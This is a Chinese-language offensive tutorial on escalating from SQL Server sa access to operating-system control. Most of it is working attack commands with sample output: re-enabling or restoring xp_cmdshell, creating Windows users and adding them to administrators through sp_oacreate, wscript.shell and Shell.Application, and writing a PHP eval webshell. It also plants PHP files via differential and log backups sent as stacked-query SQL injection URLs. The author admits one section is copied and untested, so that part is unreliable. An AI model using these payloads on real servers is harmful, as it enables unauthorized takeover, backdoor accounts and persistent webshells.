0x01 前言
# 我的SQL Server 版本1> select @@version2> go+--------------------------------------------------------------------------------------+| |+--------------------------------------------------------------------------------------+| Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) || Sep 24 2019 13:48:23 || Copyright (C) 2019 Microsoft Corporation || Developer Edition (64-bit) on Windows 10 Pro 10.0 <X64> (Build 17763: ) (Hypervisor) |+--------------------------------------------------------------------------------------+(1 rows affected)
# 当前登录的用户1> select SUSER_SNAME();2> go+----+| |+----+| sa |+----+(1 rows affected)
# 判断是否为sa权限# 返回 1 表示是# 返回 0 表示不是1> select IS_SRVROLEMEMBER('sysadmin');2> go+---+| |+---+| 1 |+---+(1 rows affected)
存储过程(Stored Procedure)实在大型数据库中,一组为了完成特定功能的SQL语句集,存储在数据库中,经过第一次编译后,再次调用不需要再次编译,用户通过指定的存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。
存储过程中大大地减少了业务系统与数据库交互,降低了业务系统与数据库的耦合。
在MSSQL中,存在大量的存储过程,在带来便利的同时,也带来了安全上的威胁,比如说
XP_cmdshell 等存储过程可以被恶意攻击者来执行系统命令、提权。
0x02 删除系统存储过程失败的问题
如果你在高于 SQL Server 2000 的版本 并且 登录用户也是 sa
执行:exec master..sp_dropextendedproc xp_cmdshell
来尝试删除 xp_cmdshell 这个系统存储过程,你会发现他会返回
[Err] 42S02 - [SQL Server]无法对 过程 ‘xp_cmdshell’ 执行 删除,因为它不存在,或者您没有所需的权限。
请注意这不是因为你没权限。
这是因为
在 SQL Server 2000 中,sp_dropextendedproc 可用于删除任何扩展存储过程
在 SQL Server 2005 版本及后面的新版本 sp_dropextendedproc 不会也不能删除系统扩展存储过程,所以你会发现无法删除系统存储过程
0x03 判断是否存在xp_cmdshell存储过程
返回结果
- 为1 表示存在
- 为0 表示不存在
# 表示存在 xp_cmdshell 这个存储过程1> select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'2> go+---+| |+---+| 1 |+---+(1 rows affected)
# 表示不存在 aaa_test 这个存储过程1> select count(*) from master.dbo.sysobjects where xtype='x' and name='aaa_test'2> go+---+| |+---+| 0 |+---+(1 rows affected)
0x04 判断 xp_cmdshell 是否开启
执行 exec sp_configure 查看 xp_cmdshell 状态
1> exec sp_configure2> go+------------------------------------+-------------+------------+-------------+-----------+| name | minimum | maximum |config_value | run_value |+------------------------------------+-------------+------------+-------------+-----------+| access check cache bucket count | 0 | 65536 | 0 | 0 || access check cache quota | 0 | 2147483647 | 0 | 0 || Ad Hoc Distributed Queries | 0 | 1 | 0 | 0 || ADR cleaner retry timeout (min) | 0 | 32767 | 0 | 0 || ADR Preallocation Factor | 0 | 32767 | 0 | 0 || affinity I/O mask | -2147483648 | 2147483647 | 0 | 0 || affinity mask | -2147483648 | 2147483647 | 0 | 0 || affinity64 I/O mask | -2147483648 | 2147483647 | 0 | 0 || affinity64 mask | -2147483648 | 2147483647 | 0 | 0 || Agent XPs | 0 | 1 | 0 | 0 || allow filesystem enumeration | 0 | 1 | 1 | 1 || allow polybase export | 0 | 1 | 0 | 0 || allow updates | 0 | 1 | 0 | 0 || automatic soft-NUMA disabled | 0 | 1 | 0 | 0 || backup checksum default | 0 | 1 | 0 | 0 || backup compression default | 0 | 1 | 0 | 0 || blocked process threshold (s) | 0 | 86400 | 0 | 0 || c2 audit mode | 0 | 1 | 0 | 0 || clr enabled | 0 | 1 | 0 | 0 || clr strict security | 0 | 1 | 1 | 1 || column encryption enclave type | 0 | 2 | 0 | 0 || common criteria compliance enabled | 0 | 1 | 0 | 0 || contained database authentication | 0 | 1 | 0 | 0 || cost threshold for parallelism | 0 | 32767 | 5 | 5 || cross db ownership chaining | 0 | 1 | 0 | 0 || cursor threshold | -1 | 2147483647 | -1 | -1 || Database Mail XPs | 0 | 1 | 0 | 0 || default full-text language | 0 | 2147483647 | 2052 | 2052 || default language | 0 | 9999 | 30 | 30 || default trace enabled | 0 | 1 | 1 | 1 || disallow results from triggers | 0 | 1 | 0 | 0 || EKM provider enabled | 0 | 1 | 0 | 0 || external scripts enabled | 0 | 1 | 0 | 0 || filestream access level | 0 | 2 | 0 | 0 || fill factor (%) | 0 | 100 | 0 | 0 || ft crawl bandwidth (max) | 0 | 32767 | 100 | 100 || ft crawl bandwidth (min) | 0 | 32767 | 0 | 0 || ft notify bandwidth (max) | 0 | 32767 | 100 | 100 || ft notify bandwidth (min) | 0 | 32767 | 0 | 0 || hadoop connectivity | 0 | 7 | 0 | 0 || index create memory (KB) | 704 | 2147483647 | 0 | 0 || in-doubt xact resolution | 0 | 2 | 0 | 0 || lightweight pooling | 0 | 1 | 0 | 0 || locks | 5000 | 2147483647 | 0 | 0 || max degree of parallelism | 0 | 32767 | 2 | 2 || max full-text crawl range | 0 | 256 | 4 | 4 || max server memory (MB) | 128 | 2147483647 | 2147483647 | 2147483647|| max text repl size (B) | -1 | 2147483647 | 65536 | 65536 || max worker threads | 128 | 65535 | 0 | 0 || media retention | 0 | 365 | 0 | 0 || min memory per query (KB) | 512 | 2147483647 | 1024 | 1024 || min server memory (MB) | 0 | 2147483647 | 0 | 16 || nested triggers | 0 | 1 | 1 | 1 || network packet size (B) | 512 | 32767 | 4096 | 4096 || Ole Automation Procedures | 0 | 1 | 0 | 0 || open objects | 0 | 2147483647 | 0 | 0 || optimize for ad hoc workloads | 0 | 1 | 0 | 0 || PH timeout (s) | 1 | 3600 | 60 | 60 || polybase enabled | 0 | 1 | 0 | 0 || polybase network encryption | 0 | 1 | 1 | 1 || precompute rank | 0 | 1 | 0 | 0 || priority boost | 0 | 1 | 0 | 0 || query governor cost limit | 0 | 2147483647 | 0 | 0 || query wait (s) | -1 | 2147483647 | -1 | -1 || recovery interval (min) | 0 | 32767 | 0 | 0 || remote access | 0 | 1 | 1 | 1 || remote admin connections | 0 | 1 | 0 | 0 || remote data archive | 0 | 1 | 0 | 0 || remote login timeout (s) | 0 | 2147483647 | 10 | 10 || remote proc trans | 0 | 1 | 0 | 0 || remote query timeout (s) | 0 | 2147483647 | 600 | 600 || Replication XPs | 0 | 1 | 0 | 0 || scan for startup procs | 0 | 1 | 0 | 0 || server trigger recursion | 0 | 1 | 1 | 1 || set working set size | 0 | 1 | 0 | 0 || show advanced options | 0 | 1 | 1 | 1 || SMO and DMO XPs | 0 | 1 | 1 | 1 || tempdb metadata memory-optimized | 0 | 1 | 0 | 0 || transform noise words | 0 | 1 | 0 | 0 || two digit year cutoff | 1753 | 9999 | 2049 | 2049 || user connections | 0 | 32767 | 0 | 0 || user options | 0 | 32767 | 0 | 0 || xp_cmdshell | 0 | 1 | 1 | 1 |+------------------------------------+-------------+------------+-------------+-----------+(83 rows affected)
查看
name 这一列 最后一行 有个 xp_cmdshell
接着在查看
config_value 这一列 如果写着 1 表示开启,如果写着 0 表示关闭
0x05 恢复xp_cmdshell存储过程
例如说你执行语句:exec master..xp_cmdshell 'whoami';返回了1> exec master..xp_cmdshell 'whoami';2> go42000 - [SQL Server]找不到存储过程 'master..xp_cmdshell'。
那么可能是管理员把 xp_cmdshell 这个存储过程删除了
你可以执行下面的命令进行恢复exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';如果执行完毕以后出现了这个错误Query execution failed原因:SQL 错误[S1000]:无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)这说明管理员把 xplog70.dll 一起删除了这种情况下如果说你可以找到上传漏洞/拥有上传权限, 可以上传xplog70.dll 到某个目录例如上传文件:C:\www\xplog70.dll接着执行exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='C:\www\xplog70.dll'declare @o int;exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
0x06 xp_cmdshell 执行命令
# 开启xp_cmdshell过程如下exec sp_configure 'show advanced options', 1; //开启高级选项RECONFIGURE; //配置生效exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshellRECONFIGURE; //配置生效
# 关闭xp_cmdshell过程如下exec sp_configure 'show advanced options', 1; //开启高级选项RECONFIGURE; //配置生效exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshellRECONFIGURE; //配置生效
执行命令: exec master..xp_cmdshell 'whoami';1> exec master..xp_cmdshell 'whoami';2> go42000 - [SQL Server]SQL Server 阻止了对组件“xp_cmdshell”的过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。如果提示这个, 那么重新开启一下 xp_cmdshell 即可开启方法exec sp_configure 'show advanced options', 1; //开启高级选项RECONFIGURE; //配置生效exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshellRECONFIGURE; //配置生效然后重新执行1> exec master..xp_cmdshell 'whoami';2> go+------------------------+| output |+------------------------+| nt service\mssqlserver || NULL |+------------------------+(2 rows affected)
0x07 sp_oacreate (添加管理员)
# 开启sp_OACreateexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
# 关闭sp_OACreateexec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
# 执行命令# SQL Server 2000可直接执行添加管理员用户 SQL Server 2000以后的版本不可使用DECLARE @js INT EXEC sp_oacreate 'ScriptControl' ,@js OUT EXEC sp_OASetProperty @js,'Language','JavaScript' EXEC sp_OAMethod @js,'Eval',NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("hacker");z.changePassword("hacker123","");z.setting("AccountType")=3;'执行成功以后会 生成一个用户账号:hacker密码:hacker123
0x08 sp_makewebtask (写shell)
# SQL Server 2000可新建文件, SQL Server 2000以后都不行exec sp_makewebtask 'C:\www\test.php',' select ''<?php @eval($?_POST[1]);?>'' ';
0x09 wscript.shell (添加管理员)
# 开启组件exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
# 关闭组件exec sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;
# 添加用户# 返回 1 表示执行成功# 返回 0 表示执行失败1> DECLARE @shell INT EXEC sp_oacreate 'wscript.shell' ,@shell OUTPUT EXEC sp_oamethod @shell,'run',NULL,'c:\windows\system32\cmd.exe /c net user test-user-1 test-user-1-password /add'2> go+---------+| Column1 |+---------+| 1 |+---------+(1 rows affected)
# 添加到管理员组# 返回 1 表示执行成功# 返回 0 表示执行失败1> DECLARE @shell INT EXEC sp_oacreate 'wscript.shell' ,@shell OUTPUT EXEC sp_oamethod @shell,'run',NULL,'c:\windows\system32\cmd.exe /c net localgroup administrators test-user-1 /add'2> go+---------+| Column1 |+---------+| 1 |+---------+(1 rows affected)
0x10 Shell.Application (添加用户)
# SQL Server 2000可执行产生效果# 命令DECLARE @o INT EXEC sp_oacreate 'Shell.Application',@o out EXEC sp_oamethod @o,'ShellExecute',NULL,'cmd.exe','cmd /c net user hacker001 zaq1234567 /add','c:\windows\system32','','1';
0x11 沙盒模式(百度抄的)
我没测试成功过,百度抄的
只有Windows xp 与 Windows 2003可用
exec sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;
# 开启沙盒模式EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
执行系统命令 (添加用户)SELECT*FROMOPENROWSET ('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test4 test4 /add")')
0x12 差异备份拿shell
差异备份生成的shell 马子的文件会非常大,这会导致我们经常访问超时,因为体积太大了,所以不是没办法了,就不要使用该方法
0x12.1 本地测试全部命令
在控制台里面能执行命令的话,那就按照这个走一遍就没错了
# 查询当前库名1> SELECT DB_NAME();2> go+-----+| |+-----+| test |+-----+(1 rows affected)
# 创建新数据库# 这样不会破坏人家的数据库,并且人家处理起来也简单# 语法:create database [新建的数据库名称];# 执行的命令1> create database test_db_5;2> go(0 rows affected)
# 先进行一次完整备份# 防止等一下误操作,无法恢复数据# 语法:backup database [数据库名称] to disk = '备份地址';# 执行的命令backup database test_db_5 to disk = 'C:\WWW\test_db_5.bak';执行完毕以后C:\WWW\ 这个目录下面就会生成一个 test_db_5.bak 文件
# 差异备份拿shell# 使用数据库use test_db_5;# 创建新表# 语法:create table [dbo].[test_table] ([cmd] [image]);# 执行的命令create table test_table(cmd image);# 向表中插入数据# 0x3c3f70687020706870696e666f28293b3f3e = 16进制的<?php phpinfo();?>insert into test_table(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);# 进行差异备份backup database test_db_5 to disk='C:\WWW\test_db_5.php' WITH DIFFERENTIAL,FORMAT;执行完毕以后C:\WWW\ 这个目录下面就会生成一个 test_db_5.php 文件浏览器打开执行即可例如:http://127.0.0.1/test_db_5.php
0x12.2 模拟线上执行
一般线上,,都是字符型注入,并且需要能够正常闭合,并且可以执行双语句,那么才可以执行各种shell的操作
如果不能正常闭合 或是 不能执行双语句那就不要看了。执行不了
记得先查当前连接的数据库
例如我的 DB_NAME() = test
0x12.2.1 备份表
web语句: http://www.test.com/sql.php?id=1’;backup database test to disk = ‘C:\WWW\test_1.bak’; — a
select * from article where id='1';backup database test to disk = 'C:\WWW\test_1.bak'; -- a
0x12.2.2 创建新表
web语句: http://www.test.com/sql.php?id=1’;create table test_table(cmd image); — a
# 实际执行的SQLselect * from article where id='1';create table test_table(cmd image); -- a'
0x12.2.3 向表中插入数据
web语句: http://www.test.com/sql.php?id=1’;INSERT INTO test_table (cmd) VALUES (0x3c3f70687020706870696e666f28293b3f3e);— a’
# 实际执行的SQLSELECT * FROM article WHERE id = '1';INSERT INTO test_table (cmd) VALUES (0x3c3f70687020706870696e666f28293b3f3e);-- a'
0x12.2.4 进行备份
web语句: http://www.test.com/sql.php?id=1’;backup database test to disk=’C:\WWW\test_1.php’ WITH DIFFERENTIAL,FORMAT; — a’
select * from article where id='1';backup database test to disk='C:\WWW\test_1.php' WITH DIFFERENTIAL,FORMAT; -- a'
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_1.php 文件
0x12.2.5 访问
上面的步骤全部执行完毕以后
0x13 log备份拿shell
0x13.1 本地测试全部命令
在控制台里面能执行命令的话,那就按照这个走一遍就没错了
LOG备份出来的马子的体积小, 所以备份成功的可能性比较大
# 查询当前库名1> SELECT DB_NAME();2> go+-----+| |+-----+| test |+-----+(1 rows affected)
# 创建新数据库# 这样不会破坏人家的数据库,并且人家处理起来也简单# 语法:create database [新建的数据库名称];# 执行的命令1> create database test_db_8;2> go(0 rows affected)
# 先进行一次完整备份# 防止等一下误操作,无法恢复数据# 语法:backup database [数据库名称] to disk = '备份地址';# 执行的命令backup database test_db_8 to disk = 'C:\WWW\test_db_8.bak';执行完毕以后C:\WWW\ 这个目录下面就会生成一个 test_db_8.bak 文件
# log备份拿shell# 语法# alter database [数据库名称] set RECOVERY FULLalter database test_db_8 set RECOVERY FULL# 使用数据库use test_db_8;# 创建新表# 语法:create table [dbo].[test_table] ([cmd] [image]);# 执行的命令create table test_table(cmd image);# 向表中插入数据insert into test_table(cmd) values('<?php phpinfo();?>');# 进行备份backup log test_db_8 to disk = 'C:\WWW\test_db_8.php'执行完毕以后C:\WWW\ 这个目录下面就会生成一个 test_db_8.php 文件浏览器打开执行即可例如:http://127.0.0.1/test_db_8.php
0x13.2 模拟线上执行
一般线上,,都是字符型注入,并且需要能够正常闭合,并且可以执行双语句,那么才可以执行各种shell的操作
如果不能正常闭合 或是 不能执行双语句那就不要看了。执行不了
记得先查当前连接的数据库
例如我的 DB_NAME() = test
0x13.2.1 备份表
web语句: http://www.test.com/sql.php?id=1’;backup database test to disk = ‘C:\WWW\test_1.bak’; — a
select * from article where id='1';backup database test to disk = 'C:\WWW\test_1.bak'; -- a
0x13.2.2 修改数据库恢复模式
web语句: http://www.test.com/sql.php?id=1’;
# 实际执行的SQLselect * from article where id='1';alter database test set RECOVERY FULL; -- a'
0x13.2.3 创建新表
web语句: http://www.test.com/sql.php?id=1’;create table test_table(cmd image); — a
# 实际执行的SQLselect * from article where id='1';create table test_table(cmd image); -- a'
0x13.2.4 向表中插入数据
web语句: http://www.test.com/sql.php?id=1’;insert into test_table(cmd) values(‘<?php phpinfo();?>’); — a’
# 实际执行的SQLselect * from article where id='1';insert into test_table(cmd) values('<?php phpinfo();?>'); -- a'
0x13.2.5 进行备份
web语句: http://www.test.com/sql.php?id=1’;backup log test to disk = ‘C:\WWW\test_2.php’; — a’
select * from article where id='1';backup log test to disk = 'C:\WWW\test_2.php'; -- a'
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_2.php 文件
0x13.2.6 访问
上面的步骤全部执行完毕以后
